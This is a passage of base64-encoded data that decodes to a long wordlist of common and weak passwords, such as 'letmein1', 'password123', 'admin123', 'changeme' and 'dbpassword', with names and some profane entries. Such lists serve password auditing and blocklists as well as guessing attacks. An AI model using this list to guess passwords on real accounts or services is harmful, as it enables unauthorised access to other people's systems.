m5hcmQNCmJlcm5pZQ0KYmVydGhhDQpiZXRhDQpiZXRoDQpiZXRoYW55DQpiZXR0eQ0KYmV2ZXJseQ0KYmlnYm95DQpiaWdjb2NrDQpiaWdkDQpiaWdkYWRkeQ0KYmlnZGljaw0KYmlnZG9nDQpiaWdmb290DQpiaWdndXkNCmJpZ21hYw0KYmlnbWFuDQpiaWdvbmUNCmJpZ3JlZA0KYmlndGl0cw0KYmlrZQ0KYmlrZXINCmJpbGJvDQpiaWxsDQpiaWxseQ0KYmluZ28NCmJpbmt5DQpiaXJkDQpiaXJkaWUNCmJpc2hvcA0KYml0Y2gNCmJpdGNoMQ0KYml0Y2hhc3MNCmJpdGNoZXMNCmJpdGUNCmJpdGVtZQ0KYmxhDQpibGFjaw0KYmxhZGUNCmJsYWRlcw0KYmxhaA0KYmxhaGJsYWgNCmJsYW5rDQpibGFzdGVyDQpibGF6ZXINCmJsb25kZQ0KYmxvbmRlcw0KYmxvbmRpZQ0KYmxvdw0KYmxvd2pvYg0KYmxvd21lDQpibHVlDQpibHVlYmlyZA0KYmx1ZW1vb24NCmJsdWVzDQpibHVlc2t5DQpib2INCmJvYmFmZXR0DQpib2Jib2INCmJvYmJ5DQpib2JjYXQNCmJvYm8NCmJvYm9ibw0KYm9laW5nDQpib2xsb2Nrcw0KYm9tYmVyDQpib25kDQpib25kMDA3DQpib25lDQpib25lcg0KYm9uZXMNCmJvbmdvDQpib25uaWUNCmJvb2JpZXMNCmJvb2Jvbw0KYm9vYnMNCmJvb2dlcg0KYm9vZ2llDQpib29tZXINCmJvb3RzDQpib290eQ0KYm9yaXMNCmJvc2NvDQpib3NjbzENCmJvc3MNCmJvc3Rvbg0KYm90dGxlDQpib3R0b20NCmJvd2xlcg0KYm95DQpib3lzDQpib3pvDQpicmFkDQpicmFkbGV5DQpicmFuZG9uDQpicmFuZHkNCmJyYXZlcw0KYnJhemlsDQpicmVhc3QNCmJyZW5kYQ0KYnJlbmRhbg0KYnJlbnQNCmJyaWFuDQpicmlkZ2UNCmJyaXR0YW55DQpicm9uY28NCmJyb25jb3MNCmJyb29rZQ0KYnJvb2tzDQpicm90aGVyDQpicm93bg0KYnJvd25zDQpicnVjZQ0KYnJ1aW5zDQpicnVubw0KYnJ1dHVzDQpicnlhbg0KYnViYmENCmJ1YmJhMQ0KYnViYmxlDQpidWJibGVzDQpidWNrDQpidWNrZXllDQpidWRkDQpidWRkaGENCmJ1ZGR5DQpidWRkeTENCmJ1ZG1hbg0KYnVmZmFsbw0KYnVmZmV0dA0KYnVmZnkNCmJ1Z2dlcg0KYnVsbA0KYnVsbGRvZw0KYnVsbGV0DQpidWxsc2V5ZQ0KYnVsbHNoaXQNCmJ1bm55DQpidXJnZXINCmJ1cnRvbg0KYnVzaA0KYnVzdGVyDQpidXRjaA0KYnV0dA0KYnV0dGVyDQpidXR0aGVhZA0KYnV6eg0KYnl0ZW1lDQpjYWNhDQpjYWN0dXMNCmNhZXNhcg0KY2FsaWd1bGENCmNhbHZpbg0KY2FtYXJvDQpjYW1lbA0KY2FtZXJhDQpjYW1lcm8NCmNhbWVyb24NCmNhbmFkYQ0KY2FuZHkNCmNhbm5vbg0KY2Fub24NCmNhcGl0YWwNCmNhcHRhaW4NCmNhcmQNCmNhcmRpbmFsDQpjYXJsb3MNCmNhcm1lbg0KY2Fyb2wNCmNhcm9saW5hDQpjYXJvbGluZQ0KY2Fyb2x5bg0KY2FycGV0DQpjYXJyaWUNCmNhcnRlcg0KY2FydG1hbg0KY2FzZQ0KY2FzZXkNCmNhc2gNCmNhc2lubw0KY2FzcGVyDQpjYXNzaWUNCmNhc3RsZQ0KY2F0DQpjYXRmaXNoDQpjYXRzDQpjYXZhbGllcg0KY2F2ZW1hbg0KY2F6em8NCmNjY2MNCmNjY2NjYw0KY2VsdGljDQpjZW50ZXINCmNlbnRyYWwNCmNlbnR1cnkNCmNlc3NuYQ0KY2hhY2hhDQpjaGFkDQpjaGFtcHMNCmNoYW5jZQ0KY2hhbmRsZXINCmNoYW9zDQpjaGFybGVzDQpjaGFybGllDQpjaGFzDQpjaGFzZQ0KY2hlY2sNCmNoZWVzZQ0KY2hlZg0KY2hlbHNlYQ0KY2hlcm9rZWUNCmNoZXJyeQ0KY2hlcnlsDQpjaGVzcw0KY2hlc3Rlcg0KY2hldmVsbGUNCmNoZXZ5DQpjaGljYWdvDQpjaGlja2VuDQpjaGlja3MNCmNoaWVmDQpjaGllZnMNCmNoaW5hDQpjaGlwDQpjaGlwcGVyDQpjaGxvZQ0KY2hvcGluDQpjaG9wcGVyDQpjaHJpcw0KY2hyaXN0aW4NCmNocmlzdHkNCmNodWJieQ0KY2h1Y2sNCmNodWNrbGVzDQpjaWdhcg0KY2luZHkNCmNpc2NvDQpjaXR5DQpjaXZpYw0KY2xhaXJlDQpjbGFuY3kNCmNsYXNzaWMNCmNsYXVkaWENCmNsYXkNCmNsYXl0b24NCmNsaW1heA0KY2xpbnRvbg0KY2xpdA0KY2xvdmVyDQpjbG93bg0KY2x1Yg0KY2x5ZGUNCmNvYWNoDQpjb2JyYQ0KY29jYWNvbGENCmNvY2sNCmNvY28NCmNvY29udXQNCmNvZGUNCmNvZHkNCmNvZmZlZQ0KY29oaWJhDQpjb2tlDQpjb2xhDQpjb2xkDQpjb2xlDQpjb2xsZWVuDQpjb2xsZWdlDQpjb2xvcmFkbw0KY29sdDQ1DQpjb2x1bWJpYQ0KY29tcGFxDQpjb21wdXRlcg0KY29uZG9tDQpjb25kb3INCmNvbm5lY3QNCmNvbm5pZQ0KY29ubm9yDQpjb250cm9sDQpjb29raWUNCmNvb2tpZTEyMw0KY29va2llcw0KY29vbA0KY29vbGVyDQpjb29wZXINCmNvb3JzDQpjb3BwZXINCmNvcmUNCmNvcm9uYQ0KY29ycmVjdA0KY29ydmV0dGUNCmNvc21vDQpjb3Ntb3MNCmNvdHRvbg0KY291Z2FyDQpjb3VudHJ5DQpjb3VydG5leQ0KY293Ym95DQpjb3dib3lzDQpjb3lvdGUNCmNyYWlnDQpjcmFwDQpjcmFzaA0KY3JhenkNCmNyZWFtDQpjcmVhdGl2ZQ0KY3Jldw0KY3JpY2tldA0KY3Jvdw0KY3J1aXNlDQpjcnVuY2gNCmNyeXN0YWwNCmN1YnMNCmN1am8NCmN1bQ0KY3VtbWluZw0KY3Vtc2hvdA0KY3VudA0KY3VyaW91cw0KY3VydGlzDQpjdXR0ZXINCmN5YmVyDQpjeXByZXNzDQpkYWRkeQ0KZGFnZ2VyDQpkYWlzeQ0KZGFrb3RhDQpkYWxlDQpkYWxsYXMNCmRhbmENCmRhbmNlDQpkYW5jZXINCmRhbmllbA0KZGFuaWVsbGUNCmRhbm55DQpkYXJrc3Rhcg0KZGFycmVuDQpkYXRhDQpkYXRhYmFzZQ0KZGF2ZQ0KZGF2aWQNCmRhdmlkMQ0KZGF2aWRzDQpkYXZpZHNvbg0KZGF2aXMNCmRhd2cNCmRhd24NCmRheQ0KZGRkZA0KZGRkZGRkDQpkZWFkDQpkZWFuDQpkZWF0aA0KZGViYmllDQpkZWJvcmFoDQpkZWNlbWJlcg0KZGVlZGVlDQpkZWVyDQpkZWZhdWx0DQpkZWxwaGkNCmRlbHRhDQpkZW1vDQpkZW1vbg0KZGVuYWxpDQpkZW5pc2UNCmRlbm5pcw0KZGVudmVyDQpkZXJmDQpkZXNlcnQNCmRlc2lnbg0KZGVzaXJlDQpkZXN0aW55DQpkZXZpbA0KZGV2aWxzDQpkZXh0ZXINCmRpYWJsbw0KZGlhbW9uZA0KZGlhbmENCmRpY2sNCmRpY2toZWFkDQpkaWNreQ0KZGllc2VsDQpkaWdnZXINCmRpZ2l0YWwNCmRpbGJlcnQNCmRpbGRvDQpkaW5vDQpkaXJlY3Rvcg0KZGlydA0KZGlydHkNCmRpc2NvdmVyDQpkaXNuZXkNCmRpdmVyDQpkb2N0b3INCmRvZGdlDQpkb2RnZXINCmRvZGdlcnMNCmRvZw0KZG9nYm95DQpkb2dkb2cNCmRvZ2cNCmRvZ2dpZQ0KZG9nZ3kNCmRvZ21hbg0KZG9ncw0KZG9sbGFyDQpkb2xsYXJzDQpkb2xseQ0KZG9scGhpbg0KZG9scGhpbnMNCmRvbWlubw0KZG9uYWxkDQpkb25nDQpkb25rZXkNCmRvbm5hDQpkb25uaWUNCmRvb2JpZQ0KZG9vZGxlDQpkb29naWUNCmRvcm90aHkNCmRvdWcNCmRvdWdsYXMNCmRvd24NCmRyYWdvbg0KZHJhZ29ucw0KZHJhdmVuDQpkcmVhbQ0KZHJlYW1lcg0KZHJlYW1zDQpkcmV3DQpkcml2ZQ0KZHJpdmVyDQpkcml6enQNCmRyb3dzc2FwDQpkcnVtDQpkcnVtbWVyDQpkcnVtbWVyMQ0KZHJ1bXMNCmR1Y2F0aQ0KZHVjaw0KZHVkZQ0KZHVkbGV5DQpkdWtlDQpkdW1iDQpkdW5jYW4NCmR1c3R5DQpkdXRjaA0KZHdpZ2h0DQpkeWxhbg0KZWFnbGUNCmVhZ2xlMQ0KZWFnbGVzDQplYXN5DQplYXRkaXJ0DQplYXRtZQ0KZWNsaXBzZQ0KZWRkaWUNCmVkZHkNCmVkd2FyZA0KZWVlZWVlDQplaWxlZW4NCmVpbnN0ZWluDQplbGFpbmUNCmVsZWN0cmljDQplbGVwaGFudA0KZWx2aXMNCmVsd29vZA0KZW1lcmFsZA0KZW1pbHkNCmVtcGlyZQ0KZW5lcmd5DQplbmdpbmUNCmVuZ2luZWVyDQplbmlnbWENCmVuam95DQplbnRlcg0KZXJpYw0KZXJuZXN0DQplcm90aWMNCmVzY2FwZQ0KZXNjb3J0DQpldWdlbmUNCmV2aWwNCmV4Y2VsDQpleG9kdXMNCmV4cGxvcmVyDQpleHByZXNzDQpleHRyZW1lDQpmYWJpYW4NCmZhY2UNCmZhaXRoDQpmYWxjb24NCmZhbWlseQ0KZmFudGFzeQ0KZmFybQ0KZmFybWVyDQpmYXJzaWRlDQpmYXJ0DQpmYXN0DQpmYXN0ZXINCmZhdGJveQ0KZmF0aGVyDQpmYXRtYW4NCmZlZXQNCmZlbGl4DQpmZW5kZXINCmZlbnJpcw0KZmVycmFyaQ0KZmVycmV0DQpmZXRpc2gNCmZmZmZmZg0KZmlja2VuDQpmaWN0aW9uDQpmaWVsZA0KZmlsdGVyDQpmaW5nZXINCmZpcmUNCmZpcmViaXJkDQpmaXJlbWFuDQpmaXNoDQpmaXNoZXINCmZpc2hlcw0KZmlzaGluZw0KZml0bmVzcw0KZml0eg0KZml2ZQ0KZmxhc2gNCmZsaXBwZXINCmZsb3JlbmNlDQpmbG9yaWRhDQpmbG93ZXINCmZsb3dlcnMNCmZsb3lkDQpmbHVmZnkNCmZseWJveQ0KZmx5ZXJzDQpmbHlpbmcNCmZvb2Jhcg0KZm9vdA0KZm9vdGJhbGwNCmZvcmNlDQpmb3JkDQpmb3Jlc3QNCmZvcmV2ZXINCmZvcm11bGENCmZvdXINCmZyYW5jZQ0KZnJhbmNpcw0KZnJhbmNvDQpmcmFuaw0KZnJhbmsxDQpmcmFua2llDQpmcmFua2xpbg0KZnJlYWsNCmZyZWFreQ0KZnJlZA0KZnJlZGRpZQ0KZnJlZGR5DQpmcmVkZnJlZA0KZnJlZQ0KZnJlZWRvbQ0KZnJlZW1hbg0KZnJlbmNoDQpmcmlkYXkNCmZyaWVuZA0KZnJpZW5kcw0KZnJpZ2h0DQpmcml0eg0KZnJvZG8NCmZyb2cNCmZyb2dnZXINCmZyb2dneQ0KZnViYXINCmZ1YmFyMQ0KKioqKg0KZg0Kb21nDQpoZWxsbzENCmlsb3ZldQ0KY2FrZTEyMw0Kc3VuMTIzDQpzdW5idXJuDQppbGlrZWNha2UNCjEyMzQyNDINCm15bmFtZWlzDQp3YXJyaW9yDQpydW5lc2NhcGUNCmhhYmJvMQ0KaGFiYm8xMjMNCmhhYmJvaGFiYm8NCjMzNDM0NQ0KaWxpa2V1DQpjYWtlMTIzDQpmaXNoMTIzDQp0aHJvbmUxMjMNCnRocm9uZTENCmRpbm9lZ2cxMjMNCmRpbm8xDQpmdWNraW5naGVsbDENCm9tZ29tZ29tZzENCnNoaXRmYWNlMQ0Kc2hpdGZhY2UNCmNoZWVzZTEyMw0KY2hlZXNlMQ0KaG91c2luZzENCmhvdXMxDQpob3VzZTENCm11bQ0KaWxvdmVtdW0NCmlhbWdvb2QNCmlsb3ZleXUNCnF3ZXJ0eQ0KcXdlcnR5dWlvcA0KcXdlcnR5dWlvcDENCnF3ZXJ0eTEyMw0KcXdlcnR5dWlvcDEyMw0KcXdlcnR5MQ0KdGhvbWFzDQphcnNlbmFsDQptb25rZXkNCmNoYXJsaWUNCjEyMzQ1Ng0KbGV0bWVpbjENCmxpdmVycG9vbDENCnBhc3N3b3JkMQ0KdGhvbWFzMQ0KYXJzZW5hbDENCm1vbmtleTENCmNoYXJsaWUxDQoxMjM0NTYxDQpsZXRtZWluMQ0KbGl2ZXJwb29sMQ0KcGFzc3dvcmQxDQpsZXRtZWluMQ0KbGl2ZXJwb29sMQ0KcGFzc3dvcmQxDQp0aG9tYXMxMjMNCmFyc2VuYWwxMjMNCm1vbmtleTEzDQpjaGFybGllMTIzMg0KMTIzNDU2MTIzDQpsZXRtZWluMTIzDQpsaXZlcnBvb2wxMjMNCnBhc3N3b3JkMTIzDQpsZXRtZWluMQ0KbGl2ZXJwb29sMQ0KcGFzc3dvcmQxDQp0aG9tYXMxDQphcnNlbmFsMQ0KbW9ua2V5MQ0KY2hhcmxpZTENCjEyMzQ1NjENCmxldG1laW4xDQpsaXZlcnBvb2wxDQpwYXNzd29yZDFoYQ0KbG9naW4NCnBsZWFzZQ0KcGxlYXNlMQ0KbG9naW4xMjMNCm9wZW5vcGVuDQppbGlrZXJ1bmVzY2FwZQ0KbGV0bWVpbnBsZWFzZQ0KMTQyMzU2Nzg5DQoxMjM0NTY3ODkNCmlmdWNrDQpmdWNrbWUNCmZ1Y2ttZTENCmJhc3RhcmQNCmJhc3RhcmQxDQprYWthMQ0KZ2lybA0KYm95DQppbG92ZWdpcmxzMQ0KaWxvdmVib3lzMQ0KaWxvdmVnaXJscw0KaWxvdmVib3lzDQpmYWNrYWRvb2RsZWRvbw0KZmFja2Fkb29kbGVkb28xDQptYW51MQ0KbWFudQ0KbWFudTEyMw0KaWxvdmVtYW51MQ0KbWFudXdvbzEyDQpteW5hbWUNCmxldG1laW4xMjMNCmZ1Y2t1DQpmdWNrdTENCmZ1Y2t5b3UxDQpmdWNreW91MTIzDQppYW0xNA0KaWZ1Y2tzaGVlcDEyMw0KZnVja29tZzEyMw0KaWxvdmVoYWJibzEyMw0KYnVsbHlidXN0ZXJzMTIzDQpsZWljZXN0ZXJzaGlyZQ0KbG9uZG9uDQpiaXJtaW5naGFtDQpsZWljZXN0ZXJzaGlyZTENCmxvbmRvbjENCmJpcm1pbmdoYW0xDQowMDAwMDANCjAwMDAwMDAwDQoxMTExMTENCjExMTExMTExDQoxMjEyMTINCjEyMzEyMw0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NjcNCjEyMzQ2NzgNCjEyMzQ2Nzg5DQoxMjM0Njc4OTANCjEyMzRxd2VyDQoxMjNhYmMNCjEyM2FzZA0KMTIzcXdlDQo2NTQzMjENCjg4ODg4ODg4DQphYmMxMjMNCmFjYWRlbWlhDQphY2FkZW1pYw0KYWNjZXB0DQpBQ0NFU1MNCmFjY2Vzcw0KYWNjb3VudA0KYWNjb3VudGluZw0KYWNjb3VudHMNCmFjdGlvbg0KYWRtaW4xMjMNCkFkbWluaXN0cmFkb3INCkFkbWluaXN0cmF0ZXVyDQphZG1pbmlzdHJhdG9yDQpBRE1JTklTVFJBVE9SDQpBZG1pbmlzdHJhdG9yDQphZHJpYW4NCmFkcmlhbm5hDQphZXJvYmljcw0KYWlycGxhbmUNCmFsYXNrYQ0KYWxiYW55DQphbGJhdHJvcw0KYWxiYXRyb3NzDQphbGJlcnQNCmFsZXhhbmRlDQpBbGV4YW5kZXINCmFsZ2VicmENCmFsaWFzZXMNCmFsaWNpYQ0KYWxpc29uDQphbGxpc29uDQphbHBoYWJldA0KYW1hZGV1cw0KYW1hbmRhDQphbWVyaWNhDQphbW9ycGhvdQ0KYW1vcnBob3VzDQphbmFsb2cNCmFuYXJjaGlzDQphbmFyY2h5DQphbmNob3INCmFuZHJlYQ0KYW5kcm9pZA0KYW5kcm9tYWMNCmFuZHJvbWFjaGUNCmFuZ2VsYQ0KYW5nZXJpbmUNCmFuaW1hbA0KYW5pbWFscw0KYW5uZXR0ZQ0KYW5vbnltb3UNCmFuc3dlcg0KYW50aHJheA0KYW50aHJvcG8NCmFudGhyb3BvZ2VuaWMNCmFudmlscw0KYW55dGhpbmcNCmFwb2xsbzEzDQphcmlhZG5lDQphcmxlbmUNCmFydGh1cg0KYXJ0aXN0DQphc2RmZ2gNCmFzc2hvbGUNCmF0aGVuYQ0KYXRtb3NwaGUNCmF0bW9zcGhlcmUNCmF0dGFjaw0KYXV0aG9yaXoNCmF6dGVjcw0KYmFjY2h1cw0KYmFja2Rvb3INCkJBQ0tVUA0KYmFja3VwDQpiYWRhc3MNCmJhaWxleQ0KYmFuYW5hDQpiYW5hbmFzDQpiYW5kaXQNCmJhcmJhcmENCmJhcmJlcg0KYmFyaXRvbmUNCmJhcnRtYW4NCmJhc2ViYWxsDQpiYXNzb29uDQpiYXRtYW4NCmJlYW1tZXVwDQpiZWF0ZXINCmJlYXV0eQ0KYmVhdmVyDQpiZWV0aG92ZQ0KYmVldGhvdmVuDQpiZWhlYWQNCmJlbG92ZWQNCmJlb3d1bGYNCmJlcmtlbGV5DQpiZXJsaW4NCmJlcmxpbmVyDQpiZXRzaWUNCmJldmVybHkNCmJpY2FtZXJhDQpiaWNhbWVyYWwNCmJpZ2Zvb3QNCmJpbmFyeQ0KYmlzaG9wDQpiaXRtYXANCmJpdG5ldA0KYmxvbmRlDQpibG9uZGllDQpibG9vZGF4ZQ0KYmxvd2pvYg0KYm95c2NvdXQNCmJyYWRsZXkNCmJyYW5kaQ0KYnJhbmR5DQpicmVhc3QNCmJyZW5kYQ0KYnJpZGdldA0KYnJvYWR3YXkNCmJyb3RoZWwNCmJydW5ldHRlDQpicnV0ZWZvcg0KYnVsbHNoaXQNCmJ1bWJsaW5nDQpidXJnZXNzDQpidXR0aGVhZA0KY2FsaWZvcm4NCmNhbWlsbGUNCmNhbXBhbmlsDQpjYW1wYW5pbGUNCmNhbXBpbmcNCmNhbnRvcg0KY2FwaXRvbA0KY2FwdGFpbg0KY2FwdHVyZQ0KY2FyZGluYWwNCmNhcm1lbg0KY2Fyb2xlDQpjYXJvbGluYQ0KY2Fyb2xpbmUNCmNhcnJpZQ0KY2Fyc29uDQpjYXNjYWRlcw0KY2FzdGxlDQpjYXRoZXJpbg0KY2F0aGVyaW5lDQpjYXRob2xpYw0KY2F5dWdhDQpjZWNpbHkNCmNlbHRpYw0KY2VsdGljcw0KY2VydWxlYW4NCmNoYW5nZQ0KQ2hhbmdlbWUNCmNoYW5nZW1lDQpjaGFyaXR5DQpjaGFybGVzDQpjaGFybGllDQpjaGFybWluZw0KY2hhcm9uDQpjaGVtaXN0cg0KY2hlbWlzdHJ5DQpjaGVzdGVyDQpjaHJpc3Rpbg0KY2hyaXN0aW5hDQpjaHJpc3RpbmUNCmNocmlzdHkNCmNpZ2FyZXR0DQpjbGFzc2VzDQpjbGFzc2ljDQpjbGF1ZGlhDQpjbGF5bW9yZQ0KY2xlYXZhZ2UNCmNsaW50b24NCmNsdXN0ZXINCmNsdXN0ZXJzDQpjb2NhY29sYQ0KY29jYWluY28NCmNvZGVuYW1lDQpjb2Rld29yZA0KY29mZmVlDQpjb2xsaW5zDQpjb21iYXQNCmNvbWljcw0KY29tbWl0DQpjb21tcmFkZQ0KY29tbXJhZGVzDQpjb21wYW55DQpjb21wYXENCmNvbXB1dGVyDQpjb21wdXRpbg0KY29tcmFkZQ0KY29tcmFkZXMNCmNvbmRvbQ0KY29ubmVjdA0KY29ubmllDQpjb25zZXJ2YQ0KY29uc29sZQ0KY29udGludWUNCmNvbnRyb2wNCmNvb2tib29rDQpjb29raWUNCmNvb3Blcg0KY29wcGVyDQpjb3JuZWxpdQ0KY29ybmVsaXVzDQpjb3JyZWN0DQpjb3VudGVycw0KY291bnRyeQ0KY291c2NvdXMNCmNvd2JveQ0KY3JhY2twb3QNCmNyZWF0ZQ0KY3JlYXRpb24NCmNyZWF0dXJlDQpjcmVkaXQNCmNyZW9zb3RlDQpjcmV0aW4NCmNyaW1pbmFsDQpjcmlzdGluYQ0KY3J5c3RhbA0KY3VzdG9tZXINCmN5YmVycHVuDQpjeWJlcnNwYQ0KY3ludGhpYQ0KZGFlbW9uDQpkYW5jZXINCmRhbmllbA0KZGFuaWVsbGUNCmRhcHBlcg0KZGFya2F2ZW4NCmRhdGFiYXNlDQpkYXRhYmFzZXBhc3MNCmRhdGFiYXNlcGFzc3dvcmQNCmRiMTIzNA0KZGJwYXNzDQpkYnBhc3N3b3JkDQpkZWF0aHN0YQ0KZGViYmllDQpkZWJvcmFoDQpkZWNlbWJlcg0KREVGQVVMVA0KRGVmYXVsdA0KZGVmYXVsdA0KZGVsdWdlDQpkZW1vY3JhdA0KZGVuaXNlDQpkZW5uaXMNCmRlc2lyZWUNCmRlc2t0b3ANCmRlc3BlcmF0DQpkZXNwZXJhdGUNCmRldmVsb3ANCmRldmljZQ0KZGlhbW9uZA0KZGllaGFyZA0KZGlldGVyDQpkaWdpdGFsDQpkaW5vc2F1cg0KZGlwc2hpdA0KZGlyZWN0DQpkaXJlY3Rvcg0KZGlzY2lwbGkNCmRpc2Nsb3NlDQpkaXNjb3Zlcg0KZGlzY292ZXJ5DQpkaXNrZXR0ZQ0KZGlzbmV5DQpkaXNwbGF5DQpkb2N0b3INCmRvbGxhcg0KZG9tYWluDQpkb21haW5wYXNzDQpkb21haW5wYXNzd29yZA0KZG9uYWxkZHVjaw0KZG9vbWlpDQpkb29tc2RheQ0KZG9vbmVzYnUNCmRvd25sb2FkDQpkcmFnb24NCmRyZG9vbQ0KZHJvdWdodA0KZHVkZXR0ZQ0KZHVlbGlzdA0KZHVuY2FuDQpkdW5nZW9uDQplYXNpZXINCmVkaW5idXJnDQplZGluYnVyZ2gNCmVkaXRpb24NCmVkdWNhdGlvDQplZHVjYXRpb24NCmVkd2luYQ0KZWdnaGVhZA0KZWlkZXJkb3cNCmVpZGVyZG93bg0KZWlsZWVuDQplaW5zaWVpbg0KZWluc3RlaW4NCmVsYWluZQ0KZWxhbm9yDQplbGVjdHJvbg0KZWxlcGhhbnQNCmVsaXphYmV0DQplbGl6YWJldGgNCmVtZXJhbGQNCmVtbWFudWVsDQplbmFibGUNCmVuZ2luZQ0KZW5naW5lZXINCmVuZ2xhbmQNCmVuZ2xpc2gNCmVudGVycHJpDQplbnRlcnByaXNlDQplbnp5bWUNCmVyZW5pdHkNCmVyb3RpYw0KZXJzYXR6DQplc3RhYmxpcw0KZXN0YWJsaXNoDQplc3RhdGUNCmV0ZXJuaXR5DQpldWNsaWQNCmV2ZWx5bg0KZXhjaGFuZ2UNCmV4Y2huZ2UNCmV4cGVydA0KZXhwbG9kZQ0KZXhwbG9yZQ0KZXhwbG9yZXINCmV4cGxvc2l2DQpleHRlbnNpbw0KZXh0ZW5zaW9uDQpmYWlyd2F5DQpmYWxjb24NCmZhbWlseQ0KZmFyYWRheQ0KZmVsaWNpYQ0KZmVuZGVyDQpmZXJtYXQNCmZlcnJhcmkNCmZpZGVsaXR5DQpmaW5pdGUNCmZpcmV3YWxsDQpmaXNoZXJzDQpmbGFrZXMNCmZsb3JpZGENCmZsb3dlcg0KZmxvd2Vycw0KZm9vYmFyDQpmb29scHJvbw0KZm9vbHByb29mDQpmb290YmFsbA0KZm9yZXNpZ2gNCmZvcmVzaWdodA0KZm9yZXZlcg0KZm9ybWF0DQpmb3JuaWNhdA0KZm9yc3l0aGUNCmZvdXJpZXINCmZveHRyb3QNCmZyYW5jZQ0KZnJlZGR5DQpmcmVlZG9tDQpmcmVuY2gNCmZyaWRheQ0KZnJpZW5kDQpmcmllbmRzDQpmcmlnaHRlbg0KZnJ5Z3V5DQpmdWNrZWQNCmZ1Y2tlcg0KZnVja2luZw0KZnVja21lDQpmdWNreW91DQpmdW5jdGlvbg0KZnVuZ2libGUNCmdhYnJpZWwNCmdhcmRuZXINCmdhcmZpZWxkDQpnYXRld2F5DQpnYXRoZXJpbg0KZ2VvcmdlDQpnZXJ0cnVkZQ0KZ2lic29uDQpnaWdhYnl0ZQ0KZ2luZ2VyDQpnbGFjaWVyDQpnb2RibGVzc3lvdQ0KZ29sZGVuDQpnb2xmZXINCmdvcmdlb3VzDQpnb3JnZXMNCmdvc2xpbmcNCmdvdmVybWVuDQpncmFkZXMNCmdyYWhhbQ0KZ3J5cGhvbg0KZ3VhcmRpYW4NCmd1ZXNzbWUNCmd1aXRhcg0KZ3VtcHRpb24NCmd1bnRpcw0KaDR4MHIxbmcNCmg0eDByaW5nDQpoNHgxbmcNCmhhY2tlZA0KaGFja2VyDQpoYWxsb3dlZQ0KaGFtbGV0DQpoYW1zdGVyDQpoYW5kZWwNCmhhbmRpbHkNCmhhbmRqb2INCmhhcHBlbmluDQpoYXBwZW5pbmcNCmhhcmRjb3JlDQpoYXJkZHJpdg0KaGFybW9ueQ0KaGFyb2xkDQpoYXJ2ZXkNCmhhd2FpaQ0KaGF4aW5nDQpoZWFkYmFuZw0KaGVhZG9mZmljZQ0KaGVhdGhlbg0KaGVhdGhlcg0KaGVhdmVuDQpoZWJyaWRlcw0KaGVpbmxlaW4NCmhlcmJlcnQNCmhlcm9pbg0KaGV3bGV0dA0KaGV4YWRlY2kNCmhpYXdhdGhhDQpoaWJlcm5pYQ0KaGlkZGVuDQpoaWdobGFuZA0KaGl0bGVyDQpob2xseXdvbw0KaG9tZXBhZ2UNCmhvbWV1c2VyDQpob21ld29yaw0KaG9va2VyDQpob290ZXJzDQpob3JyaWJsZQ0KaG9ycm9yDQpob3Rkb2cNCmh1bnRlcg0KaHV0Y2hpbnMNCmh5ZHJvZ2VuDQpoeXBlcnR4dA0KaWNlY3JlYW0NCmloYXZlbm9wYXNzDQppbGx1bWluYQ0KaW1icm9nbGkNCmltYnJvZ2xpbw0KaW1tb3J0YWwNCmltcGVyaWFsDQppbmNsdWRlDQppbmRpYW4NCmluZGlhbmENCmluZGlhbnMNCmluZ3Jlcw0KaW5ncmVzcw0KaW5ncmlkDQppbm5vY3VvdQ0KaW5ub2N1b3VzDQppbnNpZGUNCmludGVnZXINCmludGVybmV0DQpJbnRlcm5ldA0KaW50cmFuZXQNCmludmVudA0KSW52aXRlcg0KaXJpc2htYW4NCmphY2tpZQ0KamFuaWNlDQpqYXNtaW4NCmplYW5uZQ0KamVubmlmZXINCmplcnVzYWxlDQpqZXNzaWNhDQpqZXN0ZXINCmpld2VscnkNCmppeGlhbg0Kam9hbm5lDQpqb2huZG9lDQpqb2hubnkNCmpvc2VwaA0Kam9zaHVhDQpqb3VybmFsDQpqdWRpdGgNCmp1Z2dsZQ0KanVsaWV0DQpqdXBpdGVyDQprYXJpbmENCmthdGFuYQ0Ka2F0aGxlZW4NCmthdGhyaW5lDQprYXRpbmENCmthdHJpbmENCmtlcm1pdA0Ka2VybmVsDQprZXJyaWUNCmtleWJvcmQNCmtleXdvcmQNCmtpZGRpZQ0Ka2lsbGVyDQpraWxsdGhlbQ0Ka2ltYmVybHkNCmtpcmtsYW5kDQpraXNzbXlhcw0Ka2l0dGVuDQprbGluZ29uDQprbmlnaHQNCmtuaWdodG1hDQprcmlzdGENCmtyaXN0ZW4NCmtyaXN0aQ0Ka3Jpc3RpZQ0Ka3Jpc3Rpbg0Ka3Jpc3RpbmUNCmtyaXN0eQ0KbGFkaWVzDQpsYWtlcnMNCmxhbWJkYQ0KbGFtaW5hdGkNCmxhbWluYXRpb24NCmxhcHRvcA0KbGFya2luDQpsYXphcnVzDQpsZWJlc2d1ZQ0KbGVmdHdpbmcNCmxlbGFuZA0KbGVzYmlhbg0KbGVzbGllDQpsZXRtZWluDQpsZXhsdXRoZQ0KbGliZXJhbA0KbGlicmFyeQ0KbGlja2VyDQpsaWdodHNhYg0KbGltYmF1Z2gNCmxpbWl0ZWQNCmxpdGVyYXR1DQpsb2Nrb3V0DQpsb2Nrd29yZA0KbG9naW5wYXNzDQpsb2dpbndvcg0KbG9nb3V0DQpsb2xvcGMNCmxvcnJhaW5lDQpsb3ZlYnVnDQptYWNoaW5lDQptYWNpbnRvcw0KbWFjaW50b3NoDQptYWdnb3QNCm1hZ25ldA0KbWFsY29sbQ0KbWFsY29tDQptYW5hZ2VyDQptYXJpZW5zDQptYXJpZXR0YQ0KbWFyaWp1YW4NCm1hcmluZXMNCm1hcmt1cw0KbWFycmlhZ2UNCm1hcnZpbg0KbWFzdGVyDQpNYXR0aGV3DQptYXVyaWNlDQptZWFnYW4NCm1lZ2FieXRlDQptZWdhZGV0aA0KbWVsaXNzYQ0KbWVsbG9uDQptZWxyb3NlDQptZW1iZXINCm1lbW9yeQ0KbWVuYWNlDQptZXJjdXJ5DQptZXJsaW4NCm1ldGFsaGVhDQptZXRhbGljYQ0KbWljaGFlbA0KbWljaGVsDQptaWNoZWxhbg0KbWljaGVsZQ0KbWljaGVsbGUNCm1pY2tleQ0KbWljcm9jaGkNCm1pY3JvcHJvDQptaWNyb3NvZg0KbWlkaWV2YWwNCm1pbmltdW0NCm1pbnNreQ0KbWlzZml0DQptaXNzaW9uDQptb2d1bHMNCm1vbmRheQ0KbW9uaWNhDQptb3JsZXkNCm